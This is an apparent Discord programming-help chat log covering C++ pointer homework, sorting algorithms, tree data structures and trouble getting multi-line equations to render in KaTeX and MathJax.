If you are doing some kind of homework as a new programming student, do it the way the instructor is telling you. 1) you are being graded on doing it that way; 2) what we're talking about is more advanced concepts assuming built on those fundamentals; 3) some emeritus instructors are 15+ years out of industry standards, so they may not be fully engaged with the HUGE shift that has occured in C++ over the last 10 years
but the thing confused me is this part...
add->lead= (head);
(*head)= add;
Walk yourself through it. You've given us a code snippet, but haven't said what part of it is confusing. Take is slow and break down each operation.
Yeah you're just assigning the first element of your list/queue to the head element
This is clearly either a take-home lab or a homework assignment. The terminology has been changed so the answer can't just be googled
When I learned, I found 'Pointer Fun with Binky' to be very helpful
I was going to recommend that
Should be on YouTube somewhere
Sorry, I'm trying to make a bechamel at the same time
I see you are also a person of culture. The traditional folk dances as sorting algorithms series is also a great learning visualization
I saw that one too
There is a whole series of them
They cover most of the common and interesting sorts, although bubble sort seems to be the most popular?
It's the easiest aside from BOGO
I suppose. I always thought insertion and selection were on the same level of accessibility
Easier to understand bubble I suppose
Insertion and selection are better being O(n^2)
Insertion is still more efficient than merge for small n though
Less setup
IIRC standard implementation of merge and quicksort uses selection for sufficiently small n
Makes sense
is the content inside a .info file used by a program?
@stone kayak Quicksort is also in-place, but can't bee (ha?) parallelized as easily as merge
Probably reverts to selection once you subdivided enough
yeah, it does
when n/2 <threshold, selection gets used
quicksort can be run concurrently, but the memory management is a bit trickier to do than merge
Sounds like a google question
And it sounds like it's gonna depend
I tried
ok
you guys are all passionate but i figured i might understand this alot easier without going here...
thanks anyway
Watch the binky pointer video. But in my experience, you either get it or you don't
u were serious about that?
Yes
i thought u were making fun of me >_>
It's ancient but the basics still hold
No seriously it's a great video
A fun 3 minute video that explains the basics features of pointers and memory in C. Copyright Nick Parlante, 1999. These materials are free and available at http://cslibrary.stanford.edu/ For more information see:
http://www.netcore2k.net/articles/pointers
bruhhh
C++ fun, lol
Pointer fun with Binky is the absolute best explanation of pointers and dereferencing I've found to date
It's a legitimately good resource, in exactly the same way as the SELinux coloring book
Plus the claymation is great!
Anybody want to help collab on a programming project? I've always thought that most discord servers are English language only and find it hard to type in their language. Its basically a discord bot that detects non english language, uses google translate (or another translator), deletes the msg and replaces it with the translated msg. Python :P
forced english discord server?
Iβm confused
it's an online coding challenge
binary search was the first algorithm that blew my mind
self-balancing tree is another category that was eye opening, in terms of optimizing for primary use
oh yeah
trees are awesome
tries too
AVL trees are so good
i've never implemented one
but the concept is very nice
2-3 tree was the first i learned, Red-Black is also a REALLY cool algorithm
hashmap vs hashtree can also be a fun comparison to make
oh boy
i've never heard of a hashtree
In computer science, a hash tree (or hash trie) is a persistent data structure that can be used to implement sets and maps, intended to replace hash tables in purely functional programming. In its basic form, a hash tree stores the hashes of its keys, regarded as strings of bits, in a trie, with the actual keys and (optional) values stored at th...
look at how short that wikipedia article is
with 1 reference
thats lovely
thats the kinda esoteric knowledge i desire hahaha
Any SOAR users out there looking for some training and recommendations.
Anyone know how to show (using the command alert()) the console.log in my website
You can just call it in a javascript function like alert("text");
can anyone pls help me out on this
(ii) Is the result obtained correct? If not, why?
(iii) What changes should he make to obtain the correct result?```
im bit confused
python
Why don't you run the code and find out? :P
@fickle dome Can you avoid giving people answers to questions they have, helping them is okay but giving them the straight answer is against what we follow :)
@stone kayak have you seen this error
i ran it...but the 1st qs
result is correct or not. if not why
that one
im confused
thanks
do it by hand, compare results
gods I dislike front-end dev π¦
$$\begin{cases} 1 \\ 2 \end{cases}$$ why does my equation appear on 1 line instead of 2?
In Katex
Oh I think I know why
newline doesn't split that way inside equations in Latex; IIRC it's $\somefunction{line1}{line2}
It's how it's split in Katex π
I'm looking at the Katex docs now
I found an issue for it
None of those solutions worked though....
Issue was closed as resolved by way of inclusion of a PR almost 2 years ago - if its still broken, that's pretty bad
I don't get any errors
but I also don't get a new line
Ok think I'll just go to Mathjax :L
I need cases haha
that sounds reasonable - MathJax came up a lot in a quick google of 'best way to display math formula in webpages'
Katex is meant to be faster, but Mathjax updated this year and it had a speed improvement, I'm going to test them both to see. I don't mind a couple ms more so long as I get actually working maths
Okay cases in Mathjax do not work either
this has to be some CSS thing right
Jesus christ
Surely multi line things (cases, matrices, proofs) are one of the most essential features for a math rendering engine lol
You'd think so - is there a workaround like 'render to png'
as inelegant as that is
I think I'm just gonna go with HTML5 https://developer.mozilla.org/en-US/docs/Web/MathML
Mathematical Markup Language (MathML) is aΒ dialect of XML for describing mathematical notation and capturing both its structure and content.
